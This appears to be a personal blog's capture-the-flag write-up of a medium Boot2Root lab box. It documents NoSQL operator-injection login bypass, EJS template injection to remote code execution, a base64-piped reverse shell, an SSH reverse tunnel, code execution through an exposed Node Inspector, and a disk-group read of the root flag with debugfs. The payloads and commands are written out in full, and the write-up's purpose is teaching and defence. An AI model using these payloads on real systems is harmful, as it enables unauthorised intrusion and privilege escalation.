M4cCrypt0
back to overview

Byte Lotus — Poolside (Boot2Root, Medium)

Byte Lotus — Poolside

Overview

Medium Boot2Root with a poolside/crypto theme. The box chains five separate vulnerabilities: NoSQL injection for auth bypass, Server-Side Template Injection for RCE, and a misconfiguration of the Node.js Inspector Protocol combined with group membership for privilege escalation to root.

Attack chain in short:

  1. Recon (nmap) → SSH + Node/Express web app
  2. NoSQL injection on /login → auth bypass as a staff account
  3. SSTI in the EJS template preview → remote code execution as the application user
  4. Shell stabilization
  5. Discovery of a second service (pipelinesvc) with the Node Inspector open on localhost
  6. SSH remote port forward to tunnel the Inspector port
  7. Chrome DevTools Protocol (CDP) via WebSocket → code execution as pipelinesvc
  8. pipelinesvc turned out to be a member of the disk group → raw block-device read
  9. debugfs to read the filesystem straight from the block device, root flag without a mount or a root shell

1. Recon

text
nmap -sC -sV <target>
text
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Node.js (Express middleware)
|_http-title: Byte Lotus — Poolside

Two ports. SSH gave no direct way in (no credentials, and the earlier-found CVE-2025-26466 turned out to be only a pre-auth DoS with no RCE potential — deliberately not run, it would make the box unusable).

The web app showed a login form (username + password, POST to /login) with an attendant placeholder and a /staff route that returned 403.

Lesson: not every CVE you find is usable. First check whether it fits the attack goal (here: a DoS would crash your own attack surface) before running it.


2. Enumeration — many dead ends, and why that was valuable

Before the real vulnerability was found, the following vectors were systematically tested and ruled out:

Vector Result
SQL injection (' OR '1'='1) No effect — no relational DB
Header bypass (X-Forwarded-For, X-Real-IP) on /staff No effect
HTTP-method tampering (OPTIONS/POST/PUT on /staff) Only GET/HEAD allowed
Directory enumeration (gobuster, feroxbuster recursive) No extra routes found
Session-cookie analysis on a failed login No cookie set (turned out to be normal behavior)
User enumeration via timing/response Identical response, no leak
Themed credential brute-force (ffuf, cluster-bomb) No hit — the password turned out to be crypto-random

Lesson: a thorough exclusion of the obvious vectors is not wasted time — it forces you to look beyond the standard approach, and every "no" narrows the search space.


3. NoSQL injection — auth bypass

The application accepted both application/x-www-form-urlencoded and application/json as content type on /login. With JSON, an object could be passed as the password value instead of a string:

text
curl -X POST http://<target>/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attendant","password":{"$ne":null}}'

Result: {"ok":true,"role":"staff"} — plus a Set-Cookie with a connect.sid (express-session).

Root cause (later confirmed via the source code): the backend used NeDB (@seald-io/nedb), a file/in-memory NoSQL database that mimics MongoDB query syntax, including operators like $ne. The query was:

js
const user = await db.findOneAsync({ username, password });

No type checking on password — an object with a MongoDB-style operator changed the meaning of the query to "password is not equal to null", which is true for any existing account.

Lesson: the same exploitation technique (NoSQL operator injection) works on multiple NoSQL-like engines, even when the underlying database isn't MongoDB itself, as long as the query syntax is reproduced.


4. SSTI — from staff console to RCE

The /staff route showed a "Cabana Desk" console with an EJS template preview function:

html
<form method="post" action="/staff/preview">
  <textarea name="template">Dear <%= guest %>, your Byte Lotus cabana is confirmed.</textarea>
</form>

Server-side:

js
rendered = ejs.render(template, { guest: req.session.user.username, hotel: 'Byte Lotus' });

Direct rendering of user-controlled input, without sandboxing.

Detection:

text
template=<%= 7*7 %>

→ the preview showed 49, confirming the payload was evaluated as JavaScript, not as plain text.

Escalation to RCE, via process.mainModule.require(...) to reach Node's own require() outside the EJS sandbox:

text
template=<%= process.mainModule.require("child_process").execSync("whoami") %>

Important pitfall: a first attempt with execSync('/bin/bash') froze the entire Node server. execSync is synchronous and blocking — Node's single-threaded event loop waits for the child process, and a bare interactive shell with no stdin input never ends. Result: the web server stopped handling requests, only recoverable via a reset of the room.

Lesson: only use execSync for commands that end on their own and return output. For interactive/long-running processes (reverse shells, subshells) spawn/exec is the right choice, or — as here — an execSync that only starts another, separate process (which detaches itself).

Working reverse shell, base64-encoded to avoid quote nesting between bash/curl/JS/EJS:

bash
# build shell.js locally with your own listener IP:port, then:
base64 -w0 /tmp/shell.js
text
template=<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>

Lesson on quote escaping: with three nested layers (bash → EJS/JS → execSync argument) base64 encoding is the most robust solution — it sidesteps quote conflicts entirely instead of trying to solve them with ever more complex escaping.

After connecting: shell stabilized with the standard PTY upgrade (python3 -c 'import pty; pty.spawn("/bin/bash")', followed by stty raw -echo; fg and export TERM=xterm).

User flag: found in the home directory of the application user.


5. Privilege escalation — dead ends

Ran through the standard privesc checklist, all negative:


6. The second service — pipelinesvc

/etc/passwd and /home/ showed a third account besides the web app user: pipelinesvc. The home directory itself wasn't readable, but:

text
find / -user pipelinesvc 2>/dev/null

revealed /opt/pipelinesvc/telemetry/processor.js — an innocent little telemetry script — and an active process (visible via /proc/<pid>) that didn't show up in a simple ps aux grep.

text
cat /proc/<pid>/cmdline

/usr/bin/node --inspect=127.0.0.1:9229 processor.js

The vulnerability: the process ran with the Node.js --inspect flag active, bound to 127.0.0.1:9229. This activates the Chrome DevTools/Inspector Protocol, which allows external connections to evaluate arbitrary JavaScript in the context of the process — a known, common misconfiguration when --inspect is accidentally left on in production.

Lesson: enumerate processes via find / -user <name> instead of only ps aux | grep, especially if a user has no readable home directory — that shows files and (via /proc) active processes that would otherwise be missed.


7. Making the Inspector reachable

The port was only bound to localhost, so not directly reachable from the attack machine. Solution: SSH remote port forward, from the compromised box back to your own attack machine:

text
ssh -i <own_private_key> -R 9229:127.0.0.1:9229 <user>@<own_ip> -N

Required preparation:

Verification on the attack machine:

text
curl http://127.0.0.1:9229/json

→ JSON with a webSocketDebuggerUrl, confirming the tunnel works.


8. Code execution via the Chrome DevTools Protocol

The Inspector doesn't speak plain HTTP — commands go via a WebSocket connection with JSON-RPC-like messages (Runtime.evaluate is the CDP method for evaluating a JS expression in the context of the process).

python
import websocket, json

ws = websocket.create_connection("ws://127.0.0.1:9229/<uuid>")
ws.send(json.dumps({
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "process.mainModule.require('child_process').execSync('id').toString()"
    }
}))
print(ws.recv())

Result: uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

Code execution confirmed as pipelinesvc — a second, separate account besides the web app user.

Note: the UUID in the WebSocket URL is unique per process session and changes on every restart of the Node process — always fetch it again via /json after a restart.


9. From pipelinesvc to root — the disk group

The crucial line in the id output: groups=...,6(disk).

Membership of the disk group gives read access to raw block devices (/dev/nvme0n1p1 etc.) — the underlying storage device the entire filesystem sits on. That bypasses all normal file permissions completely, because you're not reading via the filesystem itself but via the raw disk bytes beneath it.

No mount is needed (that would require CAP_SYS_ADMIN, which group membership alone doesn't give). Instead: debugfs, a tool that can interpret and read an ext filesystem directly from a block device, without mounting it.

text
lsblk

→ confirms which partition is the root partition (nvme0n1p1).

text
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1

Root flag read, without ever having had a root shell.

Lesson: group membership is often overlooked in privesc enumeration relative to SUID/sudo/cron. The disk group is a classic example of a group that is functionally equivalent to root read access to everything, without any sudo rule or SUID bit being involved.


Summary — vulnerabilities and causes

# Vulnerability Root cause
1 NoSQL injection / auth bypass No type validation on request-body fields before use in a NeDB query
2 Server-Side Template Injection Direct ejs.render() of user-controlled input without a sandbox
3 Exposed Node Inspector --inspect active on a service, even if bound to localhost
4 Unnecessary group membership pipelinesvc member of disk, effectively giving root read access

Comparison with a professional context (DORA/NIS2 relevance)

Every step in this chain is also a concrete control that belongs in an ICT risk assessment:


Note: IP addresses and exact flag values are deliberately omitted/abstracted in this writeup.